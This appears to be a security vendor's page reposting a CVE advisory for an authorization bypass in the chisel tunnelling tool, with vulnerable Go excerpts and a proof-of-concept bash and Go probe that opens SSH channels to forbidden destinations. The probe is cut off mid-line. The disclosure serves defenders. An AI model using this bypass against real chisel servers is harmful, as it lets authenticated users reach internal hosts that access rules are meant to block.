Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-48113 — chisel

🟠 CVSS 8.0 — High ✅ No Known Exploit CWE-863 NVD
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Chisel has an ACL Bypass via Post-Handshake SSH Channel ExtraData Injection

Summary

Authenticated chisel clients can bypass --authfile ACL restrictions and tunnel traffic to arbitrary destinations reachable from the server. The ACL is enforced only during the initial handshake against declared remotes, but never on subsequent SSH channels that carry actual traffic. A malicious client authenticates with a permitted remote, then opens channels to any host:port it wants.

Details

The chisel server validates user ACLs in two places but is missing validation in one of the important places.

The server/server_handler.go checks the ACL, during the initial config handshake:

```go

for _, r := range c.Remotes {

if user != nil {

addr := r.UserAddr()

if !user.HasAccess(addr) {

failed(s.Errorf("access to '%s' denied", addr))

return

}

}

}

r.Reply(true, nil)

```

This validates the declared remote list from the client's config request. It runs once, at connection setup. But in share/tunnel/tunnel_out_ssh.go ACL aren't being checked, when the server processes actual traffic channels:

```go

func (t *Tunnel) handleSSHChannel(ch ssh.NewChannel) {

remote := string(ch.ExtraData()) // client-controlled

hostPort, proto := settings.L4Proto(remote)

sshChan, reqs, err := ch.Accept() // accepted unconditionally

// ...

err = t.handleTCP(l, stream, hostPort) // dials whatever client said

}

func (t *Tunnel) handleTCP(l *cio.Logger, src io.ReadWriteCloser, hostPort string) error {

dst, err := net.Dial("tcp", hostPort) // no ACL check

// ...

}

```

The tunnel.Config struct has no User field, no allowed-address list, and no ACL callback. The user context from server_handler.go is never propagated to the tunnel layer:

```go

type Config struct {

*cio.Logger

Inbound bool

Outbound bool

Socks bool

KeepAlive time.Duration

// ------- No User, no AllowedRemotes, no ACL

}

```

Since ch.ExtraData() is fully controlled by the SSH client, any authenticated user can open channels to arbitrary destinations after passing the handshake with a permitted remote.

PoC

Directory structure format:

```

poc

├── poc.sh

└── probe

├── go.mod

├── go.sum

└── main.go

```

  • poc.sh

```bash

#!/usr/bin/env bash

# Requires: Go, nc (netcat)

set -euo pipefail

DIR="$(cd "$(dirname "$0")" && pwd)"

REPO="$DIR/.."

freeport() { python3 -c "import socket;s=socket.socket();s.bind(('',0));print(s.getsockname()[1]);s.close()"; }

cleanup() { kill $SERVER $LISTENER 2>/dev/null; rm -f "$AUTH"; }

trap cleanup EXIT

# Build

echo "[*] Building..."

(cd "$REPO" && go build -o /tmp/_chisel .)

(cd "$DIR/probe" && go build -o /tmp/_probe .)

# Ports

SP=$(freeport); AP=$(freeport); BP=$(freeport)

echo "[*] Server :$SP Allowed :$AP Blocked :$BP"

# Authfile — user:pass may only reach 127.0.0.1:$AP

AUTH=$(mktemp)

printf '{"user:pass":["^127\\\\.0\\\\.0\\\\.1:%s$"]}\n' "$AP" > "$AUTH"

# Start forbidden-target listener and chisel server

(echo "FORBIDDEN_TARGET_REACHED" | nc -l 127.0.0.1 "$BP") & LISTENER=$!

/tmp/_chisel server --port "$SP" --authfile "$AUTH" --key seed 2>/dev/null & SERVER=$!

sleep 1

# Exploit

CHISEL_SERVER="127.0.0.1:$SP" ALLOWED_PORT="$AP" BLOCKED_PORT="$BP" /tmp/_probe

```

  • main.go

```go

// Chisel ACL bypass probe. Authenticates with an allowed remote,

// then opens an SSH channel to a forbidden destination via ExtraData.

package main

import (

"encoding/json"

"fmt"

"net"

"net/http"

"os"

"time"

"github.com/gorilla/websocket"

"github.com/jpillora/chisel/share/cnet"

"github.com/jpillora/chisel/share/settings"

"golang.org/x/crypto/ssh"

)

func main() {

server := os.Getenv("CHISEL_SERVER")

allowed := os.Getenv("ALLOWED_PORT")

blocked := os.Getenv("BLOCKED_PORT")

// WebSocket → net.Conn

ws, _, err := (&websocket.Dialer{

HandshakeTimeout: 5 * time.Second,

Subprotocols: []string{"chisel-v3"},

}).Dial("ws://"+server, http.Header{})

check(err, "ws dial")

conn := cnet.NewWebSocketConn(ws)

// SSH handshake

sc, chans, reqs, err := ssh.NewClientConn(conn, "", &ssh.ClientConfig{

User: "user",

Auth: []ssh.AuthMethod{ssh.Password("pass")},

HostKeyCallback: ssh.InsecureIgnoreHostKey(),

})

check(err, "ssh")

go ssh.DiscardRequests(reqs)

go func() { for c := range chans { c.Reject(ssh.Prohibited, "") } }()

// Send config with only the allowed remote

r, _ := settings.DecodeRemote(fmt.Sprintf("0.0.0.0:%s:127.0.0.1:%s", allowed, allowed))

cfg, _ := json.Marshal(settings.Config{Version: "0", Remotes: []*settings.Remote{r}})

ok, reply, err := sc.SendRequest("config", true, cfg)

check(err, "config")

if !ok {

die("config rejected: %s", reply)

}

fmt.Printf("[+] Config accepted (only 127.0.0.1:%s allowed)\n", allowed)

// Open channel to BLOCKED destination

target := net.JoinHostPort("127.0.0.1", blocked)

ch, cr, err := sc.OpenChannel("c

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. Rated impact: confidentiality high, integrity low, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:H/SI:H/SA:L

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Attack requirements: None — no deployment-specific condition has to hold.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: None — nobody has to be tricked into anything.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: Low — limited, and the attacker does not choose what is affected.
  • Availability impact: None.

Weakness class

CVE-2026-48113 is classified as CWE-863: Incorrect Authorization. An authorisation check runs but reaches the wrong conclusion, permitting actions it should refuse.

Affected software

CVE-2026-48113 is recorded against 2 packages.

  • github.com/jpillora/chisel
  • unknown

Timeline and source

Published on 16 June 2026 and last revised on 17 June 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Advisory)

Other advisories for this package

github.com/jpillora/chisel has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-863: Incorrect Authorization) in other software:

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:H/SI:H/SA:L
CWE CWE-863
Public Exploit ✅ No
Source NVD
Published 2026-06-16
Updated 2026-08-20
Modified 2026-06-17
Fix URL N/A

Affected Packages

Software From version Fixed in
github.com/jpillora/chisel
unknown

Similar Threats

Site Security Check

Is chisel part of your stack?

CVE-2026-48113 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026